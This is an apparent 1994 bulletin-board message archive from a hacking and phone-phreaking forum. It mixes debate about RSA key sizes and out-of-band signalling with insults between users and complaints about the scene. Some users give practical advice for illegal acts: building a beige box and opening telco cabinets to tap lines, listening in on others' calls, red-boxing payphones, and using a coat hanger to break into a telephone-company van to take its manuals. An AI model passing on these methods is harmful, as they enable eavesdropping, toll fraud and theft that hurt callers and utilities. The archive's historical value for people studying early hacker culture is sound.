I wasn't really planning anything. Just curious, that's all.
BTW, to all the Phreaks out there, Is beige-boxing still
possible? This may sound like an elementary question, but I
don't generaly find myself in the realm of the Phreak. I tried
to put one together the other day in accordance to some old
philes, but have had no sucess in it's usage.
Thanx,
Phain.
From Fastjack@yabbs Sat Apr 30 18:00:09 1994
From: Fastjack@yabbs
To: Phain@yabbs
Subject: Beige Boxing
Date: Sat Apr 30 18:00:09 1994
In message re: credit verification, Phain said:
> BTW, to all the Phreaks out there, Is beige-boxing still
> possible? This may sound like an elementary question, but I
It's just like a telephone lineman's box. Get a telephone with
integral keypad, then cut the wires and attach alligator clips, pref. the
insulated types.
> philes, but have had no sucess in it's usage.
Find a can or a telephone box in a an apartment building.
A lot more useful than most other pieces of equipment, IMHO.
:FJ
From Dprogram@yabbs Sat Apr 30 23:08:26 1994
From: Dprogram@yabbs
To: Fastjack@yabbs
Subject: re: Beige Boxing
Date: Sat Apr 30 23:08:26 1994
A beige box is really just a telephone, any phone will do. Cut the phone
wire and put alligator clips on the red and green wires. To "beige box" is
to simply plug in somewhere. Look around for those little grey
cabinets. Generally a 7/16 inch nut driver will open them like a charm,
they are usually not locked. The main problem with beige boxing is it is
kinda obvious-looking.
From Ratail@yabbs Sun May 1 04:55:37 1994
From: Ratail@yabbs
To: all@yabbs
Subject: Wardialers
Date: Sun May 1 04:55:37 1994
Wardialers........grin
I've got voice and data finders what I want is a fax finder.
Anybody know of where to get one or have one? Point me/Up it and I'll
grab it.
You'd think with all the fax modem's out there someone would have
been thoughtful enough to post it publicly (via ftp). O-well so
much for the Public
From rattler@yabbs Sun May 1 12:37:06 1994
From: rattler@yabbs
To: feotus@yabbs
Subject: re: rsa
Date: Sun May 1 12:37:06 1994
we... when they factored rsa129 they didn't have a super connection
machine
to do it with.
i fugure 500 megabytes of ram and 64000 cpus oughta speed things up
a bit.
From rattler@yabbs Sun May 1 12:39:29 1994
From: rattler@yabbs
To: ButtrBoy@yabbs
Subject: re: rexd hole?
Date: Sun May 1 12:39:29 1994
rexd is like rsh , but it works with Suns (insecure) rpc.
ie. you can run proggies from where-ever as bin.
From Jeremiah@yabbs Sun May 1 15:08:32 1994
From: Jeremiah@yabbs
To: Phain@yabbs
Subject: Beigh boxing
Date: Sun May 1 15:08:32 1994
I still go out now and then... I pretty much do it for spying when I
have absolutely nothing to do... You'd be surprised what people talk
about when they think that no one is listening.
From cosmos@yabbs Sun May 1 15:15:52 1994
From: cosmos@yabbs
To: Phain@yabbs
Subject: re: credit verification
Date: Sun May 1 15:15:52 1994
Bwahahahah
Keep it up...I love a good laugh.
Gonna set up a few 3l33t |<-RaD cons??
Hehehh
Cosmos
From cosmos@yabbs Sun May 1 15:17:13 1994
From: cosmos@yabbs
To: Ratail@yabbs
Subject: re: Wardialers
Date: Sun May 1 15:17:13 1994
So much for intelligent, resourceful users.
Cosmos
From Kashmir@yabbs Sun May 1 15:53:45 1994
From: Kashmir@yabbs
To: Phain@yabbs
Subject: re: credit verification
Date: Sun May 1 15:53:45 1994
Beige boxing will almost always be possible..A beige box is a tool of a
linem so.. (The handset)
From Natalie@yabbs Sun May 1 22:50:03 1994
From: Natalie@yabbs
To: Jeremiah@yabbs
Subject: re: Beigh boxing
Date: Sun May 1 22:50:03 1994
AIEEEEE!!! You were listening to my phone conversations? *blush*
I may have to kill you now *giggle*
From sevmek@yabbs Mon May 2 14:43:08 1994
From: sevmek@yabbs
To: rattler@yabbs
Subject: re: rsa
Date: Mon May 2 14:43:08 1994
In message re: rsa, rattler said:
> we... when they factored rsa129 they didn't have a super connection
> machine
> to do it with.
>
> i fugure 500 megabytes of ram and 64000 cpus oughta speed things up
> a bit.
>
Yes, it might speed things up a bit. But not nearly as much as you may think.
The bottleneck becomes dealing with all the processors and what each should
be doing. Also, rsa129 was ONE two-prime composite. It happened to be the
one Scientific American chose to base their contest on. In just the 129
digit realm there are MANY others... let's say that one out of every trillion
numbers is a suitable prime. That leaves 10^117 choices for a 129 digit key.
Each of which would take all those little computers ANOTHER 8 months, or the
NSA perhaps several days.
I think the 'weak link' in RSA is how you handle the passwords in real life,
remember what they are, and where and how you handle the decoded information.
The number of processors you throw at a problem doesn't change the problem's
order of magnitude.
--Sevmek
From feotus@yabbs Wed May 4 10:03:05 1994
From: feotus@yabbs
To: rattler@yabbs
Subject: re: rsa
Date: Wed May 4 10:03:05 1994
First off, they didnt do it on one machine, they just spread it out to a
bunch of different volounteer machines, which added up alot of proccessing
time.
Also it was a RSA129 key, now take however many bits are in that, and
subtract aht from 1024 and then take 2 to that power and that's how much
more difficult it is to break the 1024bit key than the RSA129.
for example, if you have a 400bit key, and you crack it, then you want to
try and crack the 1024bit key, you would have to expend 2^624 times more
power to do it. NOw that is a very large number, considering the number
of estimated moleculs in the universe is less than that.
So I say even with the NSAs computing power, which theyget to measure in
ACRES 8), it would take a long time to crack a 1024 bit key. Tho one of
the smaller PGP keys are suggested to be crackable in one year or so if
the NSA dedicated all of their processing time to it.
The thing is now, that it is so daunting to do that, they eitehr knock you
off real quiet like, or they get your passwd to your se3cret key. If it's
going to take them that long tim decrypt it, I'm sure they will justget
you out of the loop some other way.
From Fastjack@yabbs Thu May 5 19:08:21 1994
From: Fastjack@yabbs
To: cosmos@yabbs
Subject: re: Wardialers
Date: Thu May 5 19:08:21 1994
In message re: Wardialers, cosmos said:
> So much for intelligent, resourceful users.
And this is the 'Net. Imagine the local "scene". And I use the
term loosely....
:FJ
From cosmos@yabbs Thu May 5 19:46:16 1994
From: cosmos@yabbs
To: Fastjack@yabbs
Subject: re: Wardialers
Date: Thu May 5 19:46:16 1994
Yeah, I know ;)
I recently got dragged to the last "2600" meeting. Okay, I admit I am a
2600 lamer...I mean, Ive gone to one other meet in the past year.
Anyways, I never spent a more enjoyable afternoon/evening.
IT was like comedy night at the local bars. See how many redbox questions
and tones we can make, ohh...look at the motorola cellular phone..., what
this??? A password file being passed around...wow, into the big stuff
now.
Call me crazy, but the last coroporate security meeting I attended was
better...maybe becuase they actually know what they are talking about??
(well, not all of them...but people like Farmer do. ;) )
Cosmos
From feotus@yabbs Fri May 6 17:40:35 1994
From: feotus@yabbs
To: cosmos@yabbs
Subject: re: Wardialers
Date: Fri May 6 17:40:35 1994
what's even worse than the 2600 meetings, are the pothetic litle twats
around these small towns that think they can hack.
I had one kid tell me he broke into the local airbases computer system and
messed with all kinds of records. I asked him id he used a divertor, and
he didnt even know what it was. I asked him what OS they were running and
he said it was a souped up version of DOS 8)
Another one was going around the bookstore with his littel Star Trek
fuckweed freinds and starts saying out loud so that me and my freind here
him, "DOS sucks, yeah it just is too weak." and "QBASIC is really a
powerful language once you learn it" and "Hey Bill, look a QBASIC Games
book, man I know QBASIC already dood." So when he sees me and my freind
fingering thru some Unix books he asks us how good of a langiuage Unix is.
And he tells us that he hangs out on the internet all the time, even tho
he doesnt know what Unix is 8) Then he asked me what OS I ran at home,
when I told him linux he asked me if that was a weird version of Windows
or something. my freind, the not-so-polite-one tells him to fuck off and
go sticka joystick up his ass. bill the ST junkie gets pissed and walks
away, All is well and we have a big bucket of french fries.
From feotus@yabbs Fri May 6 17:43:01 1994
From: feotus@yabbs
To: all@yabbs
Subject: out of band signalling
Date: Fri May 6 17:43:01 1994
Do any of the real phreakers out here have any info on what frequency the
phone co will be using for out of band signalling. It seems that some
local payphones have switched to it. They have to install new hardware on
the payphone since it is a band that is out of the normal ~~4kHz channel
that phonelines use.
It wont be going thru the reciever so I assume you'll need to patch into
the line director before it gets to the phone.
From JasonLee@yabbs Fri May 6 19:16:24 1994
From: JasonLee@yabbs
To: feotus@yabbs
Subject: re: Wardialers
Date: Fri May 6 19:16:24 1994
In message re: Wardialers, feotus said:
> Another one was going around the bookstore with his littel Star Trek
> fuckweed freinds and starts saying out loud so that me and my freind here
Hey! Star Trek isn't that bad... :)
JasonLee
From Natalie@yabbs Fri May 6 20:55:47 1994
From: Natalie@yabbs
To: feotus@yabbs
Subject: re: Wardialers
Date: Fri May 6 20:55:47 1994
what's wrong with star trek? My st keychain is a nice little weapon...got
2 nice sharp poins on it....
natalie
From htoaster@yabbs Sat May 7 00:06:20 1994
From: htoaster@yabbs
To: feotus@yabbs
Subject: re: out of band signalling
Date: Sat May 7 00:06:20 1994
In message out of band signalling, feotus said:
> It wont be going thru the reciever so I assume you'll need to patch into
> the line director before it gets to the phone.
sorry, can't help you with the freqs. however this is true, you'll have to
patch into the line directly. on most bell atlantic phones (or related baby
bells around the country) they tend to keep their payphones pretty secure,
making cable access a little tough. usually the cocots are a little easier
to hit (there is one here that just has the phone wire running out the back
and up the wall into the building its on, how insecure)... while i wouldn't
reccomend vandalism (saving .25 by destroying stuff that others may use doesn't
seem worth it somehow) cocots are definatly easier to hit...
if you find out anything about the OOB signalling that they use an informative
post would be cool though...i'm just interested to see what sorts of stuff
they send out there...
alex
From Kamakize@yabbs Sat May 7 01:17:21 1994
From: Kamakize@yabbs
To: TheDev@yabbs
Subject: re: red ...
Date: Sat May 7 01:17:21 1994
right ive had 100% success with operors with my box...
ive done one internaionaly with good sucess with an 5.336 x-tal
From Kamakize@yabbs Sat May 7 01:25:47 1994
From: Kamakize@yabbs
To: feotus@yabbs
Subject: re: sum
Date: Sat May 7 01:25:47 1994
well i say imthe ONLY rue hacker from Delphi
witth a legit account on Delphi....
laterz
From feotus@yabbs Sat May 7 11:39:19 1994
From: feotus@yabbs
To: Kamakize@yabbs
Subject: re: sum
Date: Sat May 7 11:39:19 1994
"only real hacker on Delphi with legit account"
your point is 8)
why get a legit account from Delphi? If your going to get a legit one at
least go thrua better service than that.
From feotus@yabbs Sat May 7 11:52:33 1994
From: feotus@yabbs
To: all@yabbs
Subject: Out Of Band signalling 101
Date: Sat May 7 11:52:33 1994
after digging thru my rusty trusty telecommunications bible..
ht: well why would I worry about a COCOT with OOB, since all the charging
etc.. takes place inside it and it's just another POTS line to it? But I
can see where you mean acces to wires is easier, almost laways something
exposed. On fortress phones it's difficult, unless you have a concrete
cutter or something in your pocket.
first inline band signalling - it is basically control signals from
office to office INSIDE the voice bandwidth ~~ 300-3100Hz. These are like
the 2600Hz signal for the now dead blueboxes, and the 2500Hz for RedBox
tones.
out of band- is when the line carries the normal voice bandwidth, and
also a narrow signaling band, usually only at a single frequency. For
insance the CCITT Signaling System no. R2 (CCITT is sorta like
international standards) uses a signalling band of 3825Hz (+-4Hz) of rit's
OUT of band signalling.
most of you probably know that stuff already.
in order to use out of band signalling tho, the telco has to install more
electronics on both ends. Now at the local office, that's no problem, but
that means they need to add it to the payphone if their going to use it
between them and the office. So older ones are no problem usually, it's
the newer ones they are installng, tho I have found that not all of them
use it.
the out of band control signlas are sent thru the voice channel, so ou can
no longer put a tone generator to the receiver and have it go thru. You
need to patch either into the electronics of he signaller itself, or into
the wires. This is difficult on payhhones to say the least.
I havent figured out waht frequency the telco's are using now for ot of
badn signalling, as the telco around here isnt using it yet, so the
I know who work there don't know yet.
From cosmos@yabbs Sat May 7 14:41:04 1994
From: cosmos@yabbs
To: feotus@yabbs
Subject: re: Wardialers
Date: Sat May 7 14:41:04 1994
heh, us big city folk have the same dweebs. Just more of them.
Cosmos
From cosmos@yabbs Sat May 7 14:43:08 1994
From: cosmos@yabbs
To: Kamakize@yabbs
Subject: re: red ...
Date: Sat May 7 14:43:08 1994
Give it up already with those silly little redboxes. I just want to take
them and shove them up all those 2600 shitheads asses. ;)
Cosmos
From cosmos@yabbs Sat May 7 14:43:45 1994
From: cosmos@yabbs
To: Kamakize@yabbs
Subject: re: sum
Date: Sat May 7 14:43:45 1994
And your still a fuckwad.
Cosmos
From Fastjack@yabbs Sat May 7 21:44:38 1994
From: Fastjack@yabbs
To: Kamakize@yabbs
Subject: re: sum
Date: Sat May 7 21:44:38 1994
In message re: sum, Kamakize said:
> well i say imthe ONLY rue hacker from Delphi
> witth a legit account on Delphi....
>
> laterz
You have access through a service like _that_? God, I hope it's not
true what my unfortunate aquaintances say about their rates, disk quota, and
system....
On a similar note, they sure do hype that little 'Five free hours on
the _INTERNET_' campaign, hmm? I'm sure millions of r3al Hackerz are
waiting for an MS-Windoze interface, eh?
hmm, l8trz.
Fastjack
From Fastjack@yabbs Sat May 7 21:47:07 1994
From: Fastjack@yabbs
To: htoaster@yabbs
Subject: re: out of band signalling
Date: Sat May 7 21:47:07 1994
In message re: out of band signalling, htoaster said:
> patch into the line directly. on most bell atlantic phones (or related baby
> bells around the country) they tend to keep their payphones pretty secure,
> making cable access a little tough. usually the cocots are a little easier
> to hit (there is one here that just has the phone wire running out the back
> and up the wall into the building its on, how insecure)... while i wouldn't
> reccomend vandalism (saving .25 by destroying stuff that others may use doesn't
> seem worth it somehow) cocots are definatly easier to hit...
>
In my experience, the cocots have shitty physical security on the
lines. COCOTs in old buildings and dorms are especially vulnerable....
:FJ
From tknight@yabbs Sun May 8 11:47:52 1994
From: tknight@yabbs
To: all@yabbs
Subject: couple of things...
Date: Sun May 8 11:47:52 1994
First off, I need advice about getting into those wonderful telco vans.
They have a tendency to lock them around here, but i've been spotting one
particular van at my local CO out lately. It appears to be broken, but all
the stuff is still in it. I already have my very own Linesman handset, so
what i really want to do is get those manuals in that file cabinet thing
in the front seat. This particular van is the old style with those little
triangle windows on the front that tilt in. I cant pick locks and I cant
just shatter the glass because the CO is right next to an old folks home.
How effective is Duct tape to muffle the sound? Please post any efficient
ways to get into these vans.
Second, Does anyone know anything abouit this upcoming switch from Cosmos
to Switch? I've been reading some internal memos about it that i have
gotten trashing but they mostly just told me about the conversion process.
Third, will it be possible to clip a phone onto fiber lines(I know i cant
use my handsset, fiber doesnt conduct), and if so, how?
Last, some time this week i will be spending a day down at Southern Bell
hanging out with the System Administrators on their private PSN, right now
i'm just waiting for security clearance.
Tobias Knight
From buzzbomb@yabbs Sun May 8 12:47:24 1994
From: buzzbomb@yabbs
To: cosmos@yabbs
Subject: big city folk
Date: Sun May 8 12:47:24 1994
where are you from, Cosmos?
From cosmos@yabbs Sun May 8 13:24:22 1994
From: cosmos@yabbs
To: buzzbomb@yabbs
Subject: re: big city folk
Date: Sun May 8 13:24:22 1994
Bright Lights, Big City.
And you?
Cosmos
From Zbadba@yabbs Sun May 8 13:44:22 1994
From: Zbadba@yabbs
To: tknight@yabbs
Subject: re: couple of things...
Date: Sun May 8 13:44:22 1994
ok, on the van: forget breaking the glass, etc. get yourself a handy-dandy
coat hanger, straighten out the wire, and make one end into a small hook.
insert it into the stripping on the window above the lock mechanism, and
basically yank it around. (It's too hard to tell you exactly how, and it
shouldn't take you more than 2 minutes just by stumbling around).
you can tap fiber lines, yes ()with a fiber tap, duh). as to using a
handset w/ it, probably not, mainly because fiber lines are almost never
used as end lines; generally they are used only as trunks.
From feotus@yabbs Mon May 9 08:59:33 1994
From: feotus@yabbs
To: Zbadba@yabbs
Subject: re: couple of things...
Date: Mon May 9 08:59:33 1994
Well also fiber carries digital signals too, and also since there trunks
you have all the neat translating too do. Basically if you have the
equipment you can do it, but that's true for anything.
The thing is too wait for them to do the whole fiber to the homes thing,
which I think is not going to happen anytime really soon, too much money
to do it all. But IF it happens then the fun sarts with masive banwidth
to the home. long ways away at best tho.
From Zbadba@yabbs Mon May 9 21:35:45 1994
From: Zbadba@yabbs
To: feotus@yabbs
Subject: re: couple of things...
Date: Mon May 9 21:35:45 1994
I don't long for the days of fiber in the home. For a few reasons:
First, the flood of true illiterates onto the nets. (let's face it, if you
can get online here, you're not totally illiterate) Second, the nets
become commercialized and for profit (i.e. the free ride is already over
for those not in academic institutions, and soon I fear that refuge will
be lost as usage fees/pay as you go tolls are instituted). If I start
having to pay for connect time at UWF, well, fuck it. I'll go back to
landline BBS's which are free local calls. sure there's not nearly the
diversity or breadth of services, but it's free.
Finally, I will miss the net and all it's intricacies. No, there's no
real-time video or such (well, for most of us). But I don't want some kind
of lubricated pipeline for that sort of stuff. the present day internet is
much like a river system... with oxbow lakes, large tributaries and tiny
creeks, backwaters, headwaters, rapids, damns and locks, eddies, and
whirlpools. It's a place you can get lost in if you don't know where you
are going. it's not all friendly and technicolor, but then neither is
"real life." No, I do not look forward to fiber optics as I see it now.
I don'twant the internet to become prodigy.
From elwood@yabbs Mon May 9 22:59:12 1994
From: elwood@yabbs
To: Zbadba@yabbs
Subject: re: couple of things...
Date: Mon May 9 22:59:12 1994
amen, brother!
From GPF@yabbs Mon May 9 23:22:14 1994
From: GPF@yabbs
To: Zbadba@yabbs
Subject: re: couple of things...
Date: Mon May 9 23:22:14 1994
i really don't think that the internet ever COULD become prodigy....
there will always be a level of it that is geared for hackers.....
and besides... a flood of lamers means a lack of good sysadmins and easy
pickings ;)
++gpf
From Natalie@yabbs Mon May 9 23:57:54 1994
From: Natalie@yabbs
To: Zbadba@yabbs
Subject: re: couple of things...
Date: Mon May 9 23:57:54 1994
Well, I know that where I go to school (Western Michigan) there's a $100
limit/month on VAX. WE don't pay, but we only get $100 worth of time.
And they don't bother telling anyone about unlimited UNIX. And I'm afraid
they're going to put a limit on UNIX in the next few years, even tho not
as many people use it. And a friend of mine at U-Mich only get $25 worth
of UNIX/month. So it's already started...
natalie
From ButtrBoy@yabbs Tue May 10 19:36:32 1994
From: ButtrBoy@yabbs
To: Natalie@yabbs
Subject: re: couple of things...
Date: Tue May 10 19:36:32 1994
Actually, Natalie, I go to umich and the only timesharing shit/accounting
is done for MT$, the academic mainframe. They charge you for the MT$
cpu time, but most people who use the UNIX servers don't go thru the
mainframe, unless they don't know any better. They aren't charging
anything for UNIX, not even diskspace (i got 30 megs, heh). but that's
a little different...
there's always x25...
From Roosevel@yabbs Tue May 10 19:57:46 1994
From: Roosevel@yabbs
To: Kamakize@yabbs
Subject: Delphi
Date: Tue May 10 19:57:46 1994
If you were a real hacker you wouldn't have a legit account on any system
especially network.
From feotus@yabbs Tue May 10 20:08:12 1994
From: feotus@yabbs
To: Roosevel@yabbs
Subject: re: Delphi
Date: Tue May 10 20:08:12 1994
"if you were a real hacker yo wouldnt have a legit account on any system"
--------quote from Roosevel---^^^^^^^^^^^^^
that is a load of shit if I ever heard one. What about hackers that run
their own systems? It's legit? What about college students givena
account? Should they throw it away? Come on man.
From cosmos@yabbs Tue May 10 20:11:19 1994
From: cosmos@yabbs
To: Roosevel@yabbs
Subject: re: Delphi
Date: Tue May 10 20:11:19 1994
Fuck you punk. Who the hell do you think you are??? "If youre a real
hacker..." Yeah, you can come bite my crank. I consider myself a "real"
hacker and I have several legit accounts...granted not DELPHI.
One more time...piss off lamer.
Cosmos
From Natalie@yabbs Tue May 10 22:19:25 1994
From: Natalie@yabbs
To: ButtrBoy@yabbs
Subject: re: couple of things...
Date: Tue May 10 22:19:25 1994
eh...all I know is what my friend told me...next time i talk to him I'll
ask what he meant...
From elwood@yabbs Wed May 11 18:08:26 1994
From: elwood@yabbs
To: all@yabbs
Subject: accounts
Date: Wed May 11 18:08:26 1994
Hey all! I was wondering if someone could get me an account somewhere
(hacked or otherwise) (in Maryland or otherwise). I am poor and I need
access to the system over the summer. I am not a hacker (yet), so I do
not know where to start. Please help me. Please give me info through
email here or at my email address at college. Thanks a bunch.
elwood
From cosmos@yabbs Wed May 11 19:21:40 1994
From: cosmos@yabbs
To: elwood@yabbs
Subject: re: accounts
Date: Wed May 11 19:21:40 1994
BWAHAHAAHAHAHAHA....fuck off lamer.
"I am not a hacker(yet)"...and never will be.
Cosmos
From elwood@yabbs Wed May 11 20:17:27 1994
From: elwood@yabbs
To: cosmos@yabbs
Subject: re: accounts
Date: Wed May 11 20:17:27 1994
love you too, dude.
Hey, here's a wrench. Go fix your attitude.
Here's a screwdriver. Go...
(you figure it out)
loves and kisses
elwood
From Choke@yabbs Fri May 20 19:23:34 1994
From: Choke@yabbs
To: Roosevel@yabbs
Subject: re: Delphi
Date: Fri May 20 19:23:34 1994
really? but how do they know that one is a hacker or not?
curious. curious.
From ButtrBoy@yabbs Fri May 20 22:57:13 1994
From: ButtrBoy@yabbs
To: elwood@yabbs
Subject: home acct. in MD
Date: Fri May 20 22:57:13 1994
d00d,
ain't no1 gonna give you an acct. just 4 the asking.
there are a lot of public unix systems in the area, pretty
cheap i think. since you got an account now, try to look
for info on access providers, i think I saw a pretty
decent list on some www server. just look around, really.
and quit with the standard flamewar responses. sheesh.
good luck.
-=ButterBoy=-
From Carsenio@yabbs Sun May 22 15:49:37 1994
From: Carsenio@yabbs
To: Roosevel@yabbs
Subject: re: Delphi
Date: Sun May 22 15:49:37 1994
While I do agree that having a legit acct on delphi of all places is
cheesy, i think you saying that real hackers don't have legit accounts is
complete and utter bullshit. Most of the best hackers have at least one
legit acct for e-mail/net purposes. Many, like me own there own unix
machines. It is in fact very unwise to abuse and leech from a system like
it's a 0-day warez board, using it to telnet to all your kewl bbs's and go
on irc. Using hacked accounts in that manner constantly is lame. And if
you're only purpose to hack is to maintain you're access to irc and net
bbs's, you should rethink your motives. Granted you can't play with
unix to its full extent when you have some normal leve; acct on a college
or commercial system.. but that's why people run unix at home like me.
Anyway.. what you expressed is what i consider to be a very kiddie-ish
attitude and not very well supported or thought through..
-carsenio
From buzzbomb@yabbs Sun May 22 19:38:51 1994
From: buzzbomb@yabbs
To: cosmos@yabbs
Subject: re: big city folk
Date: Sun May 22 19:38:51 1994
dim lights, small suburb.
well not that small. just outta DC.
From buzzbomb@yabbs Sun May 22 19:42:52 1994
From: buzzbomb@yabbs
To: elwood@yabbs
Subject: re: accounts
Date: Sun May 22 19:42:52 1994
howdy - i'm in maryland, college park... is that where you're from?
how do you get here if you don't have an account? or do you mean a
second account to play with over the summer?
From scudder@yabbs Mon May 23 20:07:36 1994
From: scudder@yabbs
To: all@yabbs
Subject: LoCaLiTy...
Date: Mon May 23 20:07:36 1994
So....wher do you people dwell in reality? I am from Grove City, OH. It's
a suburb of Columbus, and here in Central Ohio our H/P scene is just
starting to build itself up...our main claim to fame sofar is the 2600
meetings attended by a whole 5 people...<G>...right now we're trying to
start a group and put out a 'zine...if anyone wants to submit a 'trib then
post here with you E-mail address and I'll get some submissions guidelines
out to you...AS SOON AS WE MAKE 'EM UP!!!! K-ya...
-=Scudder=-
1st annual member and
Bob Dylan Wannabe of
CiA Private...
From cosmos@yabbs Tue May 24 02:04:09 1994
From: cosmos@yabbs
To: scudder@yabbs
Subject: re: LoCaLiTy...
Date: Tue May 24 02:04:09 1994
In message LoCaLiTy..., scudder said:
> So....wher do you people dwell in reality? I am from Grove City, OH. It's
> a suburb of Columbus, and here in Central Ohio our H/P scene is just
> starting to build itself up...our main claim to fame sofar is the 2600
> meetings attended by a whole 5 people...<G>...right now we're trying to
> start a group and put out a 'zine...if anyone wants to submit a 'trib then
> post here with you E-mail address and I'll get some submissions guidelines
> out to you...AS SOON AS WE MAKE 'EM UP!!!! K-ya...
HAHAHAHAHA. Yes, I couldnt resist tearing this dumb fuck a new asshole.
This is what things have come to. Ohio kiddies impressed by a 2600
meeting which usually consists of wankers playing red box tones and the
occasional cell phone...oh joyous day. This is the gene pool of
tomorrows technical professionals??? God damn I am glad I was a kid in
the eighties...they had a clue up until 88. Have fun kids.
Cosmos
From Natalie@yabbs Tue May 24 02:28:57 1994
From: Natalie@yabbs
To: cosmos@yabbs
Subject: re: LoCaLiTy...
Date: Tue May 24 02:28:57 1994
hmmm...1988 was the year I stopped teaching myself how to
program...could there be a correlation here? *insane giggling*
natalie
From scudder@yabbs Tue May 24 18:31:03 1994
From: scudder@yabbs
To: all@yabbs
Subject: re: LoCaLiTy...
Date: Tue May 24 18:31:03 1994
Okay people, I came off sounding like WAY too much of a fucking moron in
my initial post....we're beginners...we are not imbiciles...I was looking
for someone to help us get a stable footing in the realms...hell, my main
intentions are to weed out all of the Malicious shitheads, virus idiots,
warez and codez D00DZ[sic] and leave the area open for the learners(myself
included), programmers, and intellectualls...we are not a bunch of dumb
fucks from Cowtown Ohio, the 2600 meeting was meant to unify all of those
with similar interests, and as my post was intended to show..has failed
miserable...
From ButtrBoy@yabbs Tue May 24 19:46:54 1994
From: ButtrBoy@yabbs
To: all@yabbs
Subject: re: LoCaLiTy...
Date: Tue May 24 19:46:54 1994
sheesh.
From uufnord@yabbs Wed May 25 01:53:33 1994
From: uufnord@yabbs
To: all@yabbs
Subject: re: LoCaLiTy...
Date: Wed May 25 01:53:33 1994
... and then he said 'Dickhead Asshole Cocksucker' and I don't know what
he meant by it.
From feotus@yabbs Wed May 25 17:16:06 1994
From: feotus@yabbs
To: cosmos@yabbs
Subject: oh brodder
Date: Wed May 25 17:16:06 1994
your getting slow old man
amazing that someone as hard-core from the eighties as you would waste
their time ona bbs liek this? Why arent you coding you little hacker
gawd you.
it's your time your wasting when you flame me for this one. it won't
bother me.
From Badger01@yabbs Thu May 26 16:02:08 1994
From: Badger01@yabbs
To: feotus@yabbs
Subject: re: oh brodder
Date: Thu May 26 16:02:08 1994
This is not a flame. Just saying hello.
People are so interesting, dontchathink?
And I am damn near computre illeterarte
so feel free to flame me, cosmos
BADGER01
Matthew Rossi
'These hands won many a torque of gold."
THE MADNESS OF KING GOLL
From Natalie@yabbs Thu May 26 18:50:57 1994
From: Natalie@yabbs
To: Badger01@yabbs
Subject: re: oh brodder
Date: Thu May 26 18:50:57 1994
From cannibal@yabbs Fri May 27 08:57:02 1994
From: cannibal@yabbs
To: all@yabbs
Subject: h/p mail net
Date: Fri May 27 08:57:02 1994
Hiya all.
We in an overseas top bbs with a serious and active H/P/A conference,
are looking for a serious H/P mail net (or a net with a large hacking
section/folder) to be subscribed to as a site. We are able to support
any mail net that will be approved with international quality mail
and files.
For further info, email me on this board.
-=[Cannibal]=-
From cosmos@yabbs Fri May 27 17:51:23 1994
From: cosmos@yabbs
To: cannibal@yabbs
Subject: re: h/p mail net
Date: Fri May 27 17:51:23 1994
In message h/p mail net, cannibal talked shit:
> Hiya all.
> We in an overseas top bbs with a serious and active H/P/A conference,
> are looking for a serious H/P mail net (or a net with a large hacking
> section/folder) to be subscribed to as a site. We are able to support
> any mail net that will be approved with international quality mail
> and files.
>
Yeah, spare us.
Cosmos
From cannibal@yabbs Fri May 27 18:56:21 1994
From: cannibal@yabbs
To: cosmos@yabbs
Subject: re: h/p mail net
Date: Fri May 27 18:56:21 1994
> Yeah, spare us.
Fuck, i just talked to you and now i see this msg..
'vrybody : cosmos is a real softie in real life (in (t)alk anywayz ;)..
how much time it takes ya to fake that cynicism?
I really should invite the 2600 con to come by your house once..
wouldn't hurt them to get some shit..
cannieo.
From Gnarr@yabbs Sat May 28 10:56:54 1994
From: Gnarr@yabbs
To: all@yabbs
Subject: <no title>
Date: Sat May 28 10:56:54 1994
Jeez...........teh things you miss when your gone for a
while.....................
From nirvana@yabbs Sat May 28 13:43:51 1994
From: nirvana@yabbs
To: all@yabbs
Subject: Replacement for hack-this
Date: Sat May 28 13:43:51 1994
Dear esteemed collegues, ( wow , i can hardly wait for cosmos' flame on
this )
It seems that hack-this is closed for this summer . Can my esteemed
friends suggest an alternative site for this ?
Before this gets censored , i would like to point out that i am not
asking for a site name for a particular activity , but only a replacement
for hack-this . I hope htoaster realizes the subtle but important
difference between these two points .
Thanking u in advance .
Regards to all ,
Nirvana
From the Land of Miss Universe '94.
From pnovak@yabbs Sat May 28 16:25:17 1994
From: pnovak@yabbs
To: all@yabbs
Subject: cosmos
Date: Sat May 28 16:25:17 1994
Soft at heart???
pnovak has been preparing some lodestone-tipped arrows
to fire at his hd's.
Thought he deserved something like that...
(from the jungles of the amazon, lotsa xt's here...)
From taegu@yabbs Mon May 30 05:41:41 1994
From: taegu@yabbs
To: all@yabbs
Subject: re: rexd hole?
Date: Mon May 30 05:41:41 1994
From uufnord@yabbs Tue May 31 01:11:39 1994
From: uufnord@yabbs
To: taegu@yabbs
Subject: re: rexd hole?
Date: Tue May 31 01:11:39 1994
From taegu@yabbs Tue May 31 17:54:14 1994
From: taegu@yabbs
To: uufnord@yabbs
Subject: re: rexd hole?
Date: Tue May 31 17:54:14 1994
that message was sent in error sorry for the confusion
From Dprogram@yabbs Tue May 31 21:56:20 1994
From: Dprogram@yabbs
To: scudder@yabbs
Subject: re: LoCaLiTy...
Date: Tue May 31 21:56:20 1994
Don't get so concerned, scudder. Cosmos is a dipshit and speaks for
himself alone. All he does is sit on his ass and pull his eliter-then-thou
altitude. He apparently has no life, and if he got one then perhaps we
could get something done around here, but until that happens, I beleive
the best thing to do is ignore him.
Say, cosmos: I thought you said you used your red box daily, and now red
boxers are lame? I myself have used codez in the pastand I see red boxing
as an improvement. And your article on packet switched networks was
worthless. Oh, scuze me, if I want you to tell me anything then I want
everything on a silver platter. Well, don't worry cosmo, I wouldn't
ask for a drink of water if I was dying of thirst. Could you actually be
as pathetic as you seem?
From cosmos@yabbs Wed Jun 1 01:27:05 1994
From: cosmos@yabbs
To: Dprogram@yabbs
Subject: re: LoCaLiTy...
Date: Wed Jun 1 01:27:05 1994
In message re: LoCaLiTy..., Dprogram spouted garbage, saying:
> Don't get so concerned, scudder. Cosmos is a dipshit and speaks for
> himself alone. All he does is sit on his ass and pull his eliter-then-thou
> altitude. He apparently has no life, and if he got one then perhaps we
> could get something done around here, but until that happens, I beleive
> the best thing to do is ignore him.
And just what do you want to accomplish?? Let me guess, haqin and
phreakin shit....sorry m8, back to your hole.
>
> Say, cosmos: I thought you said you used your red box daily, and now red
> boxers are lame? I myself have used codez in the pastand I see red boxing
> as an improvement. And your article on packet switched networks was
> worthless. Oh, scuze me, if I want you to tell me anything then I want
> everything on a silver platter. Well, don't worry cosmo, I wouldn't
> ask for a drink of water if I was dying of thirst. Could you actually be
> as pathetic as you seem?
Um, I dont have a redbox...but Ill run on out and make one right away.
Worthless as in, you probably couldnt understand it. Anyhow, you fit the
bill...if it's not a HOW-TO then its not good. Thats why Karl Strickland
